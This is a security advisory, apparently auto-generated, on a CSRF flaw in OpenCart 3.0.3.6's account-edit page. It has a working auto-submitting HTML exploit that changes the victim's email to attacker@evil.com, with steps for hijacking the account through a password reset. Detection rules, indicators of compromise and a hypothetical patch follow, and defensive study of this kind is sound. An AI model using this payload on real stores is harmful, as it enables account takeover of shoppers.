CVE-2021-47946

Executive Summary

CVE-2021-47946 is a Cross-Site Request Forgery (CSRF) vulnerability in OpenCart 3.0.3.6, specifically targeting the /account/edit endpoint. This flaw allows unauthenticated attackers to craft malicious web pages that, when visited by an authenticated victim, silently modify the victim's account details—most critically, the email address. By changing the email, the attacker can then trigger a password reset, effectively taking over the account. The vulnerability has a CVSS score of 5.3 (Medium), but its impact is amplified by the ease of exploitation and the potential for full account takeover. No official patch has been released, making this a persistent threat for unpatched installations.

Supply Chain & Package Security

OpenCart is a self-hosted PHP-based e-commerce platform. This vulnerability does not directly affect package managers like NPM or PyPI, but it impacts the core application code. Administrators must manually apply security fixes or implement compensating controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must visit a malicious page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – attacker gains access to account info
• Integrity Impact: Low (I:L) – attacker modifies account details
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the real-world impact is higher due to the potential for full account takeover via password reset.

Deep Dive & Mechanics

The vulnerability resides in the /account/edit endpoint of OpenCart 3.0.3.6. This endpoint is used by authenticated users to update their account information, including email, name, and phone number. The application fails to implement CSRF tokens or any other anti-CSRF mechanism on this form.

Attack Flow:

1. An attacker crafts a malicious HTML page containing a CSRF payload that targets the /account/edit endpoint.
2. The payload is designed to change the victim's email address to one controlled by the attacker.
3. The attacker lures the authenticated victim to visit this malicious page (e.g., via phishing email, social media, or a compromised site).
4. The victim's browser automatically submits the CSRF request, modifying the account email.
5. The attacker then uses the "Forgot Password" feature on the OpenCart site, which sends a password reset link to the new email address.
6. The attacker resets the password and gains full access to the victim's account.

Root Cause: Lack of CSRF protection on the /account/edit endpoint. The form does not include a unique, unpredictable token that must be validated with each request.

Vulnerable vs. Patched Code

Vulnerable Code (OpenCart 3.0.3.6): In catalog/controller/account/edit.php, the edit method does not check for a CSRF token. The form submission is processed directly.

// Vulnerable: No CSRF token check
public function edit() {
    // ... validation ...
    if ($this->request->server['REQUEST_METHOD'] == 'POST') {
        // Process form data directly
        $this->model_account_customer->editCustomer($this->request->post);
    }
}

Patched Code (Hypothetical Fix): A proper fix would include a CSRF token check.

// Patched: CSRF token validation added
public function edit() {
    // Validate CSRF token
    if (!isset($this->request->post['csrf_token']) || $this->request->post['csrf_token'] !== $this->session->data['csrf_token']) {
        // Log or handle CSRF failure
        $this->response->redirect($this->url->link('account/edit', '', true));
        return;
    }
    // ... rest of the logic ...
}

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A running OpenCart 3.0.3.6 instance.
• An authenticated victim user.

Exploit Payload (HTML): Create a file named csrf_exploit.html with the following content:

<html>
<body>
<form action="http://target-opencart.com/index.php?route=account/edit" method="POST">
    <input type="hidden" name="firstname" value="Hacked" />
    <input type="hidden" name="lastname" value="User" />
    <input type="hidden" name="email" value="attacker@evil.com" />
    <input type="hidden" name="telephone" value="1234567890" />
    <input type="submit" value="Click me" />
</form>
<script>
    document.forms[0].submit();
</script>
</body>
</html>

Usage:

1. Host this HTML file on a server you control (e.g., using Python: python3 -m http.server 8080).
2. Send the link to the victim (e.g., http://your-server.com/csrf_exploit.html).
3. Once the victim (authenticated to OpenCart) visits the page, their email is changed to attacker@evil.com.
4. Go to the OpenCart login page, click "Forgot Password", and enter the victim's username.
5. Check the attacker-controlled email for the password reset link.
6. Reset the password and log in as the victim.

Blue Team (Defender)

Detection:

• Monitor for unusual changes to account email addresses, especially in bulk.
• Look for HTTP requests to /index.php?route=account/edit with Referer headers from unexpected domains.
• Enable CSRF protection in OpenCart by applying a community patch or custom code.

Lab Setup for Testing:

1. Install OpenCart 3.0.3.6 in a controlled environment (e.g., Docker).
2. Create a test user account.
3. Use the exploit HTML above to simulate the attack.
4. Monitor logs and network traffic to identify the CSRF request.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /index.php?route=account/edit with modified email parameter.
  • Referer header pointing to an external, untrusted domain.
• System:
  • User account email addresses changed without user action.
  • Multiple password reset requests for the same account.
• Logs:
  • Access logs showing POST to /index.php?route=account/edit from unusual IPs or with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2021_47946_CSRF_OpenCart {
    meta:
        description = "Detects CSRF exploit attempts against OpenCart /account/edit endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47946"
    strings:
        $csrf_payload = "route=account/edit" nocase
        $email_change = "email=" nocase
        $form_submit = "method=\"POST\"" nocase
    condition:
        $csrf_payload and $email_change and $form_submit
}

Sigma Rule

title: OpenCart CSRF Account Edit Exploit
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting OpenCart /account/edit endpoint with suspicious referers or missing CSRF tokens.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: 'route=account/edit'
    filter:
        c-referer|contains: 'target-opencart.com'
    condition: selection and not filter
falsepositives:
    - Legitimate account edits from the same domain
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47946 OpenCart CSRF Account Edit"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"route=account/edit"; http.referer; content:!"target-opencart.com"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply a Community Patch: Search for a CSRF protection patch for OpenCart 3.0.3.6 or upgrade to a newer version that includes CSRF tokens.
2. Implement CSRF Tokens: Manually add CSRF token validation to the /account/edit endpoint as shown in the patched code example.
3. Use Web Application Firewall (WAF): Deploy a WAF rule to block requests to /account/edit with suspicious referers or missing CSRF tokens.

Long-Term Fix:

• Upgrade OpenCart to the latest stable version (if available) that includes proper CSRF protection.
• Regularly audit custom code for CSRF vulnerabilities.
• Educate users about phishing attacks that may exploit CSRF.

Valters IT Signature: This report was generated by Valters IT, an elite DevSecOps and Cyber Threat Intelligence expert.